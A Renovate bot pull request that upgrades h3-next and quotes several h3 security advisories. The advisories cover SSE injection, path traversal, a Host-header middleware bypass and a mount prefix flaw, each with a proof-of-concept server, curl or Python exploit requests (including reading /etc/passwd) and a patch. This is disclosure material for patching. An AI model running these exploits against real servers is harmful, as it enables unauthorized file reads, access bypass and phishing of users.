Skip to content

chore(deps): update dependency h3-next to v2.0.1-rc.17 [security]#1626

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-h3-next-vulnerability
Open

chore(deps): update dependency h3-next to v2.0.1-rc.17 [security]#1626
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-h3-next-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Mar 18, 2026

This PR contains the following updates:

Package Change Age Confidence
h3-next (source) 2.0.1-rc.142.0.1-rc.17 age confidence

GitHub Vulnerability Alerts

CVE-2026-33128

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

export function formatEventStreamComment(comment: string): string {
  return `: ${comment}\n\n`;
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${message.id}\n`;
  }
  if (message.event) {
    result += `event: ${message.event}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  result += `data: ${message.data}\n\n`;
  return result;
}

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

  1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives
  2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one
  3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS)
  4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format:        Actual wire format (with \n injection):

event: message               event: message
data: attacker: hey          event: admin              ← INJECTED
                             data: ALL_USERS_HACKED    ← INJECTED
                             data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended:                    Actual (with \n\n injection):

event: message               event: message
data: bob: hi                data: bob: hi
                                                        ← event boundary
                             event: system              ← INJECTED event
                             data: Reset: evil.com      ← INJECTED data

Before exploit:
image

image

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";

const app = new H3();
const clients: any[] = [];

app.get("/events", (event) => {
  const stream = createEventStream(event);
  clients.push(stream);
  stream.onClosed(() => {
    clients.splice(clients.indexOf(stream), 1);
    stream.close();
  });
  return stream.send();
});

app.get("/send", async (event) => {
  const query = getQuery(event);
  const user = query.user as string;
  const msg = query.msg as string;
  const type = (query.type as string) || "message";

  for (const client of clients) {
    await client.push({ event: type, data: `${user}: ${msg}` });
  }

  return { status: "sent" };
});

serve({ fetch: app.fetch });

Exploit

# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"

# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"

Raw wire format proving injection

event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit

The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.

Proof:

image image

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

  • Cross-user content injection — inject fake messages in chat applications
  • Phishing — inject fake system notifications with malicious links
  • Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system)
  • Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms
  • Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.

GHSA-wr4h-v87w-p3r7

Summary

serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.

Details

The vulnerability exists in src/utils/static.ts at line 86:

const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));

On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).

This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).

The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.

When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.

Before exploit:

image

Vulnerability chain

1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)
3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)
4. getMeta(id):       id = "/../../../etc/passwd"         (no traversal check)
5. path.join(root,id): /etc/passwd                        (.. resolved by OS)
6. Response:          contents of /etc/passwd

PoC

Vulnerable server (server.ts)

import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";

const STATIC_ROOT = resolve("./public");
const app = new H3();

app.all("/**", (event) =>
  serveStatic(event, {
    getMeta: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        const stat = statSync(filePath);
        return { size: stat.size, mtime: stat.mtime };
      } catch {
        return undefined;
      }
    },
    getContents: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        return readFileSync(filePath);
      } catch {
        return undefined;
      }
    },
  })
);

serve({ fetch: app.fetch });

Exploit

# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Result

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Proof:

image

Pwned by 0xkakashi

image

Impact

An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().

This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.

Exploitable files include but are not limited to:

  • /etc/passwd, /etc/shadow (if readable)
  • Application source code and configuration files
  • .env files containing secrets, API keys, database credentials
  • Private keys and certificates

CVE-2026-33131

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()

const internalOnly = defineHandler((event, next) => {
  const token = event.headers.get("x-internal-key");

  if (token !== "SUPERRANDOMCANNOTBELEAKED") {
    return new Response("Forbidden", { status: 403 });
  }

  return next();
});
const logger = defineHandler((event, next) => {
    console.log("Logging : " +  event.url.hostname)
    return next() 
})
app.use(logger);
app.use("/internal/run", internalOnly);

app.get("/internal/run", () => {
  return "Internal OK";
});

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method

// _url.mjs FastURL
get _url() {
    if (this.#url) return this.#url;
    this.#url = new NativeURL(this.href);
    this.#href = void 0;
    this.#protocol = void 0;
    this.#host = void 0;
    this.#pathname = void 0;
    this.#search = void 0;
    this.#searchParams = void 0;
    this.#pos = void 0;
    return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

 this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

get href() {
    if (this.#url) return this.#url.href;
    if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
    return this.#href;
}

Because the this.#url is still null so this.#href is built up by :

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url?
Audit the code we can easily realize that the routeHanlder is found before running any middlewares

handler(event) {
    const route = this["~findRoute"](event);
    if (route) {
        event.context.params = route.params;
        event.context.matchedRoute = route.data;
    }
    const routeHandler = route?.data.handler || NoHandler;
    const middleware = this["~getMiddleware"](event, route);
    return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

import requests
url = "http://localhost:3000"
headers = {
    "Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

CVE-2026-33490

Summary

The mount() method in h3 uses a simple startsWith() check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is / or end-of-string), middleware registered on a mount like /admin will also execute for unrelated routes such as /admin-public, /administrator, or /adminstuff. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.

Details

The root cause is in src/h3.ts:127 within the mount() method:

// src/h3.ts:122-135
mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
  if ("handler" in input) {
    if (input["~middleware"].length > 0) {
      this["~middleware"].push((event, next) => {
        const originalPathname = event.url.pathname;
        if (!originalPathname.startsWith(base)) {  // <-- BUG: no segment boundary check
          return next();
        }
        event.url.pathname = event.url.pathname.slice(base.length) || "/";
        return callMiddleware(event, input["~middleware"], () => {
          event.url.pathname = originalPathname;
          return next();
        });
      });
    }

When a sub-app is mounted at /admin, the check originalPathname.startsWith("/admin") returns true for /admin, /admin/, /admin/dashboard, but also for /admin-public, /administrator, /adminFoo, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths.

A secondary instance of the same flaw exists in src/utils/internal/path.ts:40:

// src/utils/internal/path.ts:35-45
export function withoutBase(input: string = "", base: string = ""): string {
  if (!base || base === "/") {
    return input;
  }
  const _base = withoutTrailingSlash(base);
  if (!input.startsWith(_base)) {  // <-- Same flaw: no segment boundary check
    return input;
  }
  const trimmed = input.slice(_base.length);
  return trimmed[0] === "/" ? trimmed : "/" + trimmed;
}

The withoutBase() utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., withoutBase("/admin-public/info", "/admin") returns /-public/info).

Exploitation flow:

  1. Developer mounts a sub-app at /admin with middleware that sets event.context.isAdmin = true
  2. Developer defines a separate route /admin-public/info on the parent app that reads event.context.isAdmin
  3. Attacker requests GET /admin-public/info
  4. The /admin mount's startsWith check passes → admin middleware executes → sets isAdmin = true
  5. The middleware's "restore pathname" callback fires, control returns to the parent app
  6. The /admin-public/info handler sees event.context.isAdmin === true

PoC

// poc.js — demonstrates context pollution across mount boundaries
import { H3 } from "h3";

const adminApp = new H3();

// Admin middleware sets privileged context
adminApp.use(() => {}, {
  onRequest: (event) => {
    event.context.isAdmin = true;
  }
});

adminApp.get("/dashboard", (event) => {
  return { admin: true, context: event.context };
});

const app = new H3();

// Mount admin sub-app at /admin
app.mount("/admin", adminApp);

// Public route that happens to share the "/admin" prefix
app.get("/admin-public/info", (event) => {
  return {
    path: event.url.pathname,
    isAdmin: event.context.isAdmin ?? false,  // Should always be false here
  };
});

// Test with fetch
const server = Bun.serve({ port: 3000, fetch: app.fetch });

// This request should NOT trigger admin middleware, but it does
const res = await fetch("http://localhost:3000/admin-public/info");
const body = await res.json();
console.log(body);
// Actual output: { path: "/admin-public/info", isAdmin: true }
// Expected output: { path: "/admin-public/info", isAdmin: false }

server.stop();

Steps to reproduce:

# 1. Clone h3 and install
git clone https://github.com/h3js/h3 && cd h3
corepack enable && pnpm install && pnpm build

# 2. Save poc.js (above) and run
bun poc.js

# Output shows isAdmin: true — admin middleware leaked to /admin-public/info

# 3. Verify the boundary leak with additional paths:

# GET /administrator → admin middleware fires
# GET /adminstuff   → admin middleware fires

# GET /admin123     → admin middleware fires
# GET /admi         → admin middleware does NOT fire (correct)

Impact

  • Context pollution across mount boundaries: Middleware registered on a mounted sub-app executes for any route sharing the string prefix, not just routes under the intended path segment tree. This can set privileged flags (isAdmin, isAuthenticated, role assignments) on requests to completely unrelated routes.
  • Authorization bypass: If an application uses mount-scoped middleware to set permissive context flags and other routes check those flags, an attacker can access protected functionality by requesting a path that string-prefix-matches the mount base but routes to a different handler.
  • Path mangling: The withoutBase() utility produces incorrect paths (e.g., /-public/info instead of /admin-public/info) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing.
  • Scope: Any h3 v2 application using mount() with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.

Recommended Fix

Add a segment boundary check after the startsWith call in both locations. The character immediately following the base prefix must be /, ?, #, or the string must end exactly at the base:

Fix for src/h3.ts:127:

 mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
   if ("handler" in input) {
     if (input["~middleware"].length > 0) {
       this["~middleware"].push((event, next) => {
         const originalPathname = event.url.pathname;
-        if (!originalPathname.startsWith(base)) {
+        if (!originalPathname.startsWith(base) ||
+            (originalPathname.length > base.length && originalPathname[base.length] !== "/")) {
           return next();
         }

Fix for src/utils/internal/path.ts:40:

 export function withoutBase(input: string = "", base: string = ""): string {
   if (!base || base === "/") {
     return input;
   }
   const _base = withoutTrailingSlash(base);
-  if (!input.startsWith(_base)) {
+  if (!input.startsWith(_base) ||
+      (input.length > _base.length && input[_base.length] !== "/")) {
     return input;
   }

This ensures that /admin only matches /admin, /admin/, and /admin/... — never /admin-public, /administrator, or other coincidental string-prefix matches.

GHSA-4hxc-9384-m385

Summary

The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.

Details

The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:

1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)

const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) {  // Only splits on \n, not \r
  result += `data: ${line}\n`;
}

String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:

data: legit\revent: evil\n

Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:

data: legit
event: evil

2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split("\n")  // Only splits on \n, not \r
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:

: x\rdata: injected\n\n

Which the browser parses as a comment line followed by actual data:

: x
data: injected

Why _sanitizeSingleLine doesn't help

The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:

function _sanitizeSingleLine(value: string): string {
  return value.replace(/[\n\r]/g, "");
}

But it is only applied to id and event fields (lines 182, 185), not to data or comment.

PoC

Setup

Create a minimal h3 application that reflects user input into an SSE stream:

// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";

const app = createApp();

app.use("/sse", defineEventHandler(async (event) => {
  const stream = createEventStream(event);
  const { msg } = getQuery(event);

  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)
  await stream.push(String(msg));

  setTimeout(() => stream.close(), 1000);
  return stream.send();
}));

export default app;

Attack 1: Event type injection via \r in data

# Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"

Expected (safe) wire output:

data: legit\revent: evil\n\n

Browser parses as:

data: legit
event: evil

The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.

Attack 2: Message boundary injection (event splitting)

# Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"

Browser parses as two separate events:

  1. Event 1: data: first
  2. Event 2: data: injected

A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.

Attack 3: Comment escape to data injection

# Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"

Browser parses as:

: x          (comment, ignored)
data: injected  (real data, dispatched as event)

Impact

  • Event spoofing: Attacker can inject arbitrary event: types, causing browsers to dispatch events to different EventSource.addEventListener() handlers than intended. In applications that use custom event types for control flow (e.g., error, done, system), this enables UI manipulation.
  • Message boundary injection: A single push() call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface.
  • Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via pushComment().
  • Bypass of existing security control: The prior fix (commit 7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.

Recommended Fix

Both formatEventStreamMessage and formatEventStreamComment should split on \r, \n, and \r\n — matching the SSE spec's line terminator definition.

// src/utils/internal/event-stream.ts

// Add a shared regex for SSE line terminators
const SSE_LINE_SPLIT = /\r\n|\r|\n/;

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split(SSE_LINE_SPLIT)  // was: .split("\n")
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${_sanitizeSingleLine(message.id)}\n`;
  }
  if (message.event) {
    result += `event: ${_sanitizeSingleLine(message.event)}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  const data = typeof message.data === "string" ? message.data : "";
  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split("\n")
    result += `data: ${line}\n`;
  }
  result += "\n";
  return result;
}

This ensures all three SSE-spec line terminators (\r\n, \r, \n) are properly handled as line boundaries, preventing \r from being passed through to the browser where it would be interpreted as a line break.

GHSA-72gr-qfp7-vwhw

Summary

The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend.

Details

The vulnerability is a conflict between two decoding stages:

Stage 1 — H3Event constructor (src/event.ts:65-69):

if (url.pathname.includes("%")) {
  url.pathname = decodeURI(
    url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname,
  );
}

This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .).

Stage 2 — serveStatic (src/utils/static.ts:86-88):

const originalId = resolveDotSegments(
  decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
);

This applies a second decodeURI(), which decodes %2e., producing /../../../etc/passwd. However, the decoding happens inside the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result.

Wait — re-examining the flow more carefully:

  1. Input pathname after event.ts: /%2e%2e/%2e%2e/etc/passwd
  2. decodeURI() in static.ts converts %2e., producing: /../../../etc/passwd
  3. resolveDotSegments("/../../../etc/passwd") does resolve .. segments, clamping to /etc/passwd

The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is:

  1. Request: /%252e%252e/%252e%252e/etc/passwd
  2. After event.ts decode: /%2e%2e/%2e%2e/etc/passwd
  3. decodeURI() in static.ts: /%2e%2e/%2e%2e/etc/passwd (unchanged — decodeURI doesn't decode %2e)
  4. resolveDotSegments() fast-returns at line 56 because %2e contains no literal . character:
    if (!path.includes(".")) {
      return path;
    }
  5. Asset ID /%2e%2e/%2e%2e/etc/passwd is passed to getMeta() and getContents() callbacks
  6. URL-based backends resolve %2e%2e as .. per RFC 3986 / URL Standard

The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments.

PoC

1. Create a minimal h3 server with a URL-based static backend:

// server.mjs
import { H3, serveStatic } from "h3";
import { serve } from "srvx";

const app = new H3();

app.get("/**", (event) => {
  return serveStatic(event, {
    getMeta(id) {
      console.log("[getMeta] asset ID:", id);
      // Simulate URL-based backend (CDN/S3)
      const url = new URL(id, "https://cdn.example.com/static/");
      console.log("[getMeta] resolved URL:", url.href);
      return { type: "text/plain" };
    },
    getContents(id) {
      console.log("[getContents] asset ID:", id);
      const url = new URL(id, "https://cdn.example.com/static/");
      console.log("[getContents] resolved URL:", url.href);
      return `Fetched from: ${url.href}`;
    },
  });
});

serve({ fetch: app.fetch, port: 3000 });

2. Send the double-encoded traversal request:

curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'

3. Observe server logs:

[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getMeta] resolved URL: https://cdn.example.com/etc/passwd
[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getContents] resolved URL: https://cdn.example.com/etc/passwd

The %2e%2e sequences in the asset ID are resolved as .. by the URL constructor, causing the backend URL to traverse from /static/ to /etc/passwd.

Impact

  • Arbitrary file read from backend storage: An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).
  • Sensitive data exposure: Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.
  • Affected deployments: Applications using serveStatic with callbacks that resolve asset IDs via URL construction (new URL(id, baseUrl) or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using path.join() are not affected since %2e%2e is not resolved as a traversal sequence by filesystem APIs.

Recommended Fix

The resolveDotSegments() function must account for percent-encoded dot sequences. Additionally, the redundant decodeURI() in serveStatic should be removed since H3Event already handles decoding.

Fix 1 — Remove redundant decodeURI in src/utils/static.ts:86-88:

  const originalId = resolveDotSegments(
-   decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
+   withLeadingSlash(withoutTrailingSlash(event.url.pathname)),
  );

Fix 2 — Harden resolveDotSegments in src/utils/internal/path.ts:55-73 to handle percent-encoded dots:

 export function resolveDotSegments(path: string): string {
-  if (!path.includes(".")) {
+  if (!path.includes(".") && !path.toLowerCase().includes("%2e")) {
     return path;
   }
   // Normalize backslashes to forward slashes to prevent traversal via `\`
-  const segments = path.replaceAll("\\", "/").split("/");
+  const segments = path.replaceAll("\\", "/")
+    .replaceAll(/%2e/gi, ".")
+    .split("/");
   const resolved: string[] = [];

Both fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring resolveDotSegments cannot be bypassed with percent-encoded dots regardless of the caller.


Release Notes

h3js/h3 (h3-next)

v2.0.1-rc.17

Compare Source

compare changes

🚀 Enhancements
🩹 Fixes
  • cors: Preserve CORS headers on error responses (#​1352)
  • sse: Mark writer as closed on write failure (#​1322)
  • request: Include Allow header in 405 response (#​1314)
  • sse: Sanitize carriage returns in event stream data and comments (79cabe3)
  • mount: Normalize percent-encoded pathname in requestWithBaseURL (0295f90)
  • static: Prevent path traversal via double-encoded dot segments (8e9993f)
  • mount: Enforce path segment boundary in startsWith check (7ccc9e2)
📖 Documentation
🏡 Chore
✅ Tests
❤️ Contributors

v2.0.1-rc.16

Compare Source

compare changes

🏡 Chore
❤️ Contributors

v2.0.1-rc.15

Compare Source

compare changes

🚀 Enhancements
  • handler: New defineJsonRpcHandler and defineJsonRpcWebSocketHandler (#​1180)
🔥 Performance
  • resolveLazyHandler: Replace with inline expression (#​1296)
🩹 Fixes
  • sse: Sanitize newlines in event stream fields to prevent SSE injection (7791538)
  • static: Prevent path traversal via percent-encoded dot segments (0e751b4)
📖 Documentation
  • community: Add clear router (#​1303)
  • Add unjwt community library entry (#​1309)
📦 Build
  • Bundle docs as skill + h3 docs (#​1311)
🏡 Chore
❤️ Contributors

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested a review from danielroe as a code owner March 18, 2026 22:44
@pkg-pr-new
Copy link

pkg-pr-new bot commented Mar 18, 2026

Open in StackBlitz

npm i https://pkg.pr.new/nuxt/test-utils/@nuxt/test-utils@1626
npm i https://pkg.pr.new/nuxt/test-utils/vitest-environment-nuxt@1626

commit: 3a284e2

package.json Outdated
"get-port-please": "^3.2.0",
"h3": "^1.15.5",
"h3-next": "npm:h3@2.0.1-rc.14",
"h3-next": "npm:h3@2.0.1-rc.15",
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
"h3-next": "npm:h3@2.0.1-rc.15",
"h3-next": "npm:h3@^2.0.1-rc.15",

is it possible to have ^ so that it is not pinned?

cc @danielroe

@renovate renovate bot changed the title chore(deps): update dependency h3-next to v2.0.1-rc.15 [security] chore(deps): update dependency h3-next to v2.0.1-rc.17 [security] Mar 20, 2026
@renovate renovate bot force-pushed the renovate/npm-h3-next-vulnerability branch from da3bcb3 to 5745032 Compare March 20, 2026 23:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant